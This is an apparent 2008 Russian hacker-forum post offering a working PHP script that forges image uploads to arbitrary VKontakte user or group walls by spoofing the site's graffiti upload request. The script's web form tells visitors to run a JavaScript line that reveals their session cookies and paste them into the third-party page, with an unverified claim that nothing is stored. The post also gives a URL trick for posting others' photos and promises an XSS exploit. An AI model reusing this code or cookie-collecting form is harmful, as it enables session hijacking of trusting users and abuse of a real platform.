
24.03.2008, 23:16
|
|
Banned
Регистрация: 24.08.2007
Сообщений: 201
Провел на форуме: 983157
Репутация:
424
|
|
[Подмена граффити на рисунок на стенах пользователей]
1)Скрипт
Его реализация:
http://www.x3k.ru/vkontakte/
Исходник:
PHP код:
<?
function send_png($url,$filename,$cookie) {
$url_info=parse_url($url);
$port = isset($url_info['port']) ? $url_info['port'] : 80;
$fp=fsockopen($url_info['host'], $port, $errno, $errstr, 30);
if($fp) {
$head = "POST ".@$url_info['path']."?".@$url_info['query']." HTTP/1.1\r\n";
if (!empty($url_info['port'])) {
$head .= "Host: ".@$url_info['host'].":".$url_info['port']."\r\n";
} else {
$head .= "Host: ".@$url_info['host']."\r\n";
}
$head .= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.7) Gecko/20070914 Firefox/2.0.0.7
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive\r\n";
$head .= "Cookie: $cookie\r\n";
$head .= "Referer: http://vkontakte.ru/swf/Graffiti.swf?12\r\n";
$head .= "Content-type: multipart/form-data; boundary=--OLEG-ANDREEV-PAVEL-DUROV-GRAFFITI-POST\r\n";
$head2 ="----OLEG-ANDREEV-PAVEL-DUROV-GRAFFITI-POST
Content-Disposition: form-data; name=\"Signature\"\r\n\r\n";
$head2 .=md5(substr(base64_encode(file_get_contents($file name)), 0, 1024));
$head2 .="\r\n";
$head2 .= "----OLEG-ANDREEV-PAVEL-DUROV-GRAFFITI-POST
Content-Disposition: form-data; name=\"Filedata\"; filename=\"graffiti.png\"
Content-Type: image/png\r\n\r\n";
$head2 .= file_get_contents($filename);
$head2 .= "----OLEG-ANDREEV-PAVEL-DUROV-GRAFFITI-POST
Content-Disposition: form-data; name=\"Upload\"
Submit Query
----OLEG-ANDREEV-PAVEL-DUROV-GRAFFITI-POST--";
$head .= "Content-length: ".strlen($head2)."\r\n";
$head .= "\r\n";
$head .= $head2;
fputs($fp, $head);
while(!feof($fp) or ($eoheader==true)) {
if($header=fgets($fp, 1024)) {
if ($header == "\r\n") {
$eoheader = true;
break;
} else {
$header = trim($header);
}
$format=0;
if($format == 1) {
$key = array_shift(explode(':',$header));
if($key == $header) {
$headers[] = $header;
} else {
$headers[$key]=substr($header,strlen($key)+2);
}
unset($key);
} else {
$headers[] = $header;
}
}
}
return $headers;
} else {
return false;
}
}
if(isset($_POST['to_id'],$_POST['group_id'],$_POST['cook'],$_FILES["Filedata"])){
if($_POST['to_id']==""){
$_POST['to_id']='0';
}
if($_POST['group_id']==""){
$_POST['group_id']='0';
}
copy($_FILES['Filedata']['tmp_name'], "tmpfile_");
send_png("http://vkontakte.ru/graffiti.php?to_id={$_POST['to_id']}&group_id={$_POST['group_id']}","tmpfile_",$_POST['cook']);
header("Location: http://vkontakte.ru/graffiti.php?act=last");
}else{
?>
<html>
<head>
<title>Подмена граффити на картинку vkontakte.ru</title>
<meta http-equiv="content-type" content="text/html; charset=windows-1251" />
<style>
body
{
margin: 0;
padding: 0;
}
#form
{
background: url( 'http://vkontakte.ru/images/xhead2.gif' ) no-repeat left top;
text-align: left;
width: 400px;
padding: 50px;
padding-bottom: 10px;
font-family: Verdana;
font-size: 12px;
border: 1px solid #ebebeb;
}
#counter
{
font-family: Arial;
font-size: 12px;
}
#bandwidth
{
font-family: Arial;
font-size: 11px;
/*display: none;*/
}
</style>
</head>
<center>
<div id="form">
<br />
<form action="<?=basename($_SERVER['SCRIPT_FILENAME'])?>" name="form" enctype="multipart/form-data" method=POST >
Укажи ID стены и .png/.jpg картинку, которую ты хочешь закачать:<br /><br />
ID человека:
<input type="text" name="to_id" size="10" /> <b><u>или</u></b>
ID группы:
<input type="text" name="group_id" size="10" /><br /><br />
<b style="color: red">Теперь картинки автоматом растягиваются до размера 272х136 пикселей: <a href="http://mypictr.com/?size=272x136">сервис уменьшения картинок</a></b><br /><br />
Файл<small>*</small>:
<input type="file" name="Filedata"><br />
<br />
<small>* - максимум <b>300Кб</b></small>
<br />
<br />
<b style="color: red">ВНИМАНИЕ!!! Следующий ШАГ обязателен! </b><br /><br />
Заходим на страницу Контакта, в строке браузера вводим: <b><i>javascript:document.write(document.cookie);</i></b><br>
<br>Скопируйте сюда, что получили<small>**</small>:<br>
Эта информация нигде не записывается + в куках прячется IP зафированный<br>
<textarea cols=47 rows=10 name="cook"></textarea><br><br>
<small>** - это конфиденциальная информация. Вы не должны показывать её третьим лицам.</small>
<br />
<br />
<input type="submit" name="Upload" value=" Далее ">
</form>
<br />
<p style="text-align: center;">
<b>Powered by:</b><Br>
<a href="http://vkontakte.ru/id15070">Олег Максимов</a>
</p>
</div>
<?php
}
echo "<pre>";
//print_r(send_png("http://vkontakte.ru/graffiti.php?to_id=[ИД_Человека или 0 если отправляем на стену группы]&group_id=[ИД_Группы или 0 если отправляем на стену человека]","имя картинки.png","ваши куки вытянутые из броузера"));
echo "</pre>";
?>
2) Программы
Vkonpic

Программа для загрузки картинок на стены друзей на сайте «ВКонтакте.ру».
Распространяется бесплатно и с открытыми исходными кодами.
http://rapidshare.com/files/102042311/VkontaktePicture_1__1_.2.rar.html
[Прочие уязвимости]
Чтобы выложить на стене чужую фотку:
http://vkontakte.ru/wall.php? ... &message=[[photo11111_22222]]
где 11111 ID юзера
22222 - ID его фотографии
[Copyritez]
Shawnix
PS Завтра можеь выложу активную XSS
|
|
|